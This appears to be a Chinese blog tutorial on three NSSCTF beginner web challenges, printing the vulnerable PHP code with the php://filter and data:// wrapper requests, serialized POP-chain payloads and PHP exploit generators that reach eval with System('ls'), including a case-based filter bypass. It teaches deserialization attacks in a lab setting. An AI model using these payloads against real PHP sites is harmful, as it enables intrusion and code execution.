> 文章列表 > nssctf web入门(4)

nssctf web入门(4)

nssctf web入门(4)

这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。

想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。

[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];          #通过get获取text并赋值给text
$file = $_GET["file"];          #通过get获取file并赋值给file
$password = $_GET["password"];  #通过get获取password并赋值给password
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ #if判断是不是空通过file_get_contents打开$text文件以只读的方法判断是不是等于 welcome to the zjctfecho "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 输出标题welcome to the zjctfif(preg_match("/flag/",$file)){   #if判断通过preg_match匹配file文件中是不是含有flagecho "Not now!";              #如果含有输出Not nowexit(); }else{                            #如果没有匹配到执行下面代码include($file);  //useless.php  #包含file文件$password = unserialize($password); #反序列化passwordecho $password;         #输出反序列话的内容}
}
else{highlight_file(__FILE__);  将当前代码显示到页面上
}
?>

面对第一个if判断我们要传入text并且他的内容为welcome to the zjctf

 这里使用php中的data如果你按照前面的题做过来的,应该知道为什么,如果不知道可以看这篇nssctf web入门(2)_许允er的博客-CSDN博客

我们通过data通过了第一个判断,接下去是file这里代码总注释了useless.php我们先试着将file的值为useless.php去看看useless.php

这里我们再次指定file为useless.php发现返回了初始页面,所以知道存在包含可以使用伪协议,科可以先思考一下,为什么这里发现useless.php的时候返回初始页面知道有漏洞

在这个代码中只有当text值,通过if判断才会输出信息,如果file中有flag字符会直接退出。否则他会包含file,在他包含file文件时,会执行其中的代码。由于这里的代码没有进行任何输出或重定向。所以会看到初始页面

我们通过filter读取useless.php的内容

file=php://filter/read=convert.base64-encode/resource=useless.php

?text=data://test/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

 

<?php  class Flag{  //flag.php    #定义了Flag类public $file;          #定义公共filepublic function __tostring(){   #tostring 当对象被当作字符串输出时调用if(isset($this->file)){     #if判断 是不是空echo file_get_contents($this->file);  #file_get_contents读取file的内容因为有echo 所以会输出file的内容echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}  
?>  

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

这里的tostring在上面代码的 echo $password; 中对象被当成字符串执行时执行tostring,在

useless.php中tostring执行判断file不为空执行echo file_get_contents($this->file);即输出file的文件

即输出flag.php

 最后通过f12查看得到flag

[SWPUCTF 2021 新生赛]pop

[SWPUCTF 2021 新生赛]pop

<?phperror_reporting(0);   #屏蔽错误信息
show_source("index.php");  #将index.php的代码显示到页面上class w44m{      #定义一个叫w44m的类private $admin = 'aaa';   #创建admin属性值等于aaaprotected $passwd = '123456';  #创建passwd属性值等于123456public function Getflag(){    #创建公共方法Getflagif($this->admin === 'w44m' && $this->passwd ==='08067'){  #if判断如果admin等于w44m passwd等于08067include('flag.php'); #包含flag.phpecho $flag;  #输出flag}else{echo $this->admin;echo $this->passwd;echo 'nono';}}
}class w22m{  #定义一个叫w22m的类public $w00m; #定义一个公共属性w00mpublic function __destruct(){  #destruct当对象快要被销毁时执行echo $this->w00m;  #输出$w00m}
}class w33m{   #定义一个叫w33m的类public $w00m;  #定义一个公共属性w00mpublic $w22m;  #定义一个公共属性w22mpublic function __toString(){   #toString当对象被当成字符串输出时调用$this->w00m->{$this->w22m}(); #this->w22m代表要调用的方法名 this->w00m时w33m的实例return 0;}
}$w00m = $_GET['w00m']; #通过get方法获取w00m并赋值给w00m
unserialize($w00m); #反序列化w00m?>

通过这个我们知道第一传入的w00m应该先执行w22m类这样w22m中的destruct会触发,echo w00m 这时候如果我们让w33m中的this->w00m指定为w33m,因为w33m类中存在tostring,所以当w22m中$this->w00m == w33m 时w33m中的tostring会执行我们就成功执行到了w33m中,然后看w33m,w33m中有w00m w22m ,通过$this->w00m->{$this->w22m}()我们可以让w33m中的this->w00m等于w44m,这时候再让tthis->w22m等于Getflag方法,那原来的$this->w00m->{$this->w22m}()就会变成w44m->Getflag()代表从w44m类中调用Getflag方法,而再Getflag方法中,我们需要admin等于玩4m passwd等于08067

<?php
class w44m{   #定义w44m类private $admin = 'w44m'; #将admin的值设为w44mprotected $passwd = '08067'; #将passwd的值设为08067 #这里作用是是admin和passwd的值能成功通过Getflag的判断
}
class w22m{public $w00m; #这个w00m就是我们通过get获取的w00m
}class w33m {public $w00m;public $w22m;#这里的$w00m和w22m用于执行代码中的w00m w22m
}$zx = new w22m(); #实例化w22m
$zx->w00m = new w33m(); #让w22m中的w00m指向w33m
$zx->w00m->w00m = new w44m(); #使$zx->w00m->w00m指向w44m 这里相当于 new w33m()->w00m = new w44m()就是让w33中的w00m指向w44m
$zx->w00m->w22m = 'Getflag';  #使w33m中的w22m的值为Getflag 在题目里面就成了 Getflag()
echo urlencode(serialize($zx));?>

这里urlencode加不加都可以

O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

 [NISACTF 2022]babyserialize

[NISACTF 2022]babyserialize

<?php
include "waf.php";  #包含waf.php
class NISA{         #定义一个叫NISA的类public $fun="show_me_flag";  #定义公共属性fun并赋值为show_me_flagpublic $txw4ever;            #定义公共属性txw4everpublic function __wakeup()   #wakeup方法,反序列化时马上调用{ if($this->fun=="show_me_flag"){ #if判断,fun的值是不是show_me_flaghint();  #这里hint是自定义函数因为hint被注释了所以不管}}function __call($from,$val){    #call方法在对象中调用一个不可访问的方法时带调用call $from表示调用的方法$val代表调用的参数,以数组形式$this->fun=$val[0];   #fun的值等于val的第一个元素}public function __toString() #toString把对象当成字符串时调用{echo $this->fun; #输出fun的值return " ";      #返回一个空字符串}public function __invoke() #当把一个对象当作函数来执行时调用{checkcheck($this->txw4ever); #checkcheck也被注释了,根据注释的来看是用来过滤的@eval($this->txw4ever);  @eval用于执行将一段字符串当作php命令执行}
}class TianXiWei{            ##定义一个叫TianXiWei的类public $ext;            #定义了一个公共属性extpublic $x;              #定义了一个公共属性xpublic function __wakeup()    #wakeup方法当反序列化时调用{$this->ext->nisa($this->x); #调用了this->ext->nsia方法参数为this->x因为这里没有nsia方法所以会使用下面类中的call方法}
}class Ilovetxw{           ##定义一个叫Ilovetxw的类public $huang;        #定义了一个公共属性huangpublic $su;           #定义了一个公共属性supublic function __call($fun1,$arg){ #call类在对象中访问一个不存在的方法时调用$this->huang->fun=$arg[0];      #huang的fun属性等于arg中的第一个元素}public function __toString(){      #toString把对象当成字符串时调用$bb = $this->su;               #属性bb的值为sureturn $bb();                  #返回属性bb}
}class four{            ##定义一个叫four的类public $a="TXW4EVER";   #定义一个公共属性a值为TXW4EVERprivate $fun='abc';     #定义一个私有
属性fun值为abcpublic function __set($name, $value)  #set当我们给对象赋值时,如果这个属性没有被定义或者时私有属性就会调用{$this->$name=$value;    #n将$value属性赋值给name属性if ($this->fun = "sixsixsix"){ #if判断fun的值是不是为sixsixsixstrtolower($this->a);  #strtolower用于将字符串转换为小写字符}}
}if(isset($_GET['ser'])){   #if判断通过GET获取的ser的值是不是空@unserialize($_GET['ser']);    #反序列化ser
}else{highlight_file(__FILE__);       #将当前php的代码显示到页面上
}//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}//function hint(){
//    echo ".......";
//    die();
//}
?>

这里我们先反推

思路 执行@eval 所执行@eval要使用invoke方法

invoke方法当对象以函数执行时被调用,使用我们要找到哪里将对象以函数执行了,我们知道函数执行的格式函数()所以我们发现 return $bb();符合, return $bb();在toString方法中, toString在对象当成字符串时执行,我们寻找哪里将对象当成字符串输出,strtolower($this->a);strtolower用于将字符串转换为小写字符,所以这里将对象a变成了字符串,而这里在set方法中,set方法将对象赋值时,属性没有定义会调用,$this->huang->fun=$arg[0];里面huang中的fun属性时没有定义的,所以这里会触发set方法,$this->huang->fun=$arg[0];在call方法中,call在对象中访问一个不存在的方法时调用, $this->ext->nisa($this->x);这里调用了nisa方法但是没有nisa方法所以会调用call方法,而 $this->ext->nisa($this->x);在wakeup中,wakeup在pop入口,因为反序列化时调用wakeup

_invoke --> __toString --> __set --> __call --> __wakeup
NISA          Ilovetxw      four      Ilovetxw     TianXiWei
执行流程

exp

<?php
class NISA{public $fun;public $txw4ever='System("ls");'; #这里要大写会检测
}
class TianXiWei{public $ext;public $x;}
class Ilovetxw{public $huang;public $su;}class four{public $a;private $fun;
}
$zx = new TianXiWei; #这里调用了T类中的wakeup
$zx->ext = new Ilovetxw; #这里代表T类中的ext实例I类使$this->ext->nisa($this->x); 变成I类中的nisa因为没有所以调用I类中的call方法
$zx->ext->huang = new four; #这里因为前面I类call中 $this->huang->fun=$arg[0];没有huang这个方法所以调用set,所以我们指定到set在的f类
$zx->ext->huang->a = new Ilovetxw; #指定I类因为strtolower调用了toString
$zx->ext->huang->a->su = new NISA; #指定N类因为return $bb()调用invoke方法
echo urlencode(serialize($zx))
?>

 这里因为system没有大写

 

这里ls / 直接ls只有index和waf

 发现flag

cat  /fllllllaaag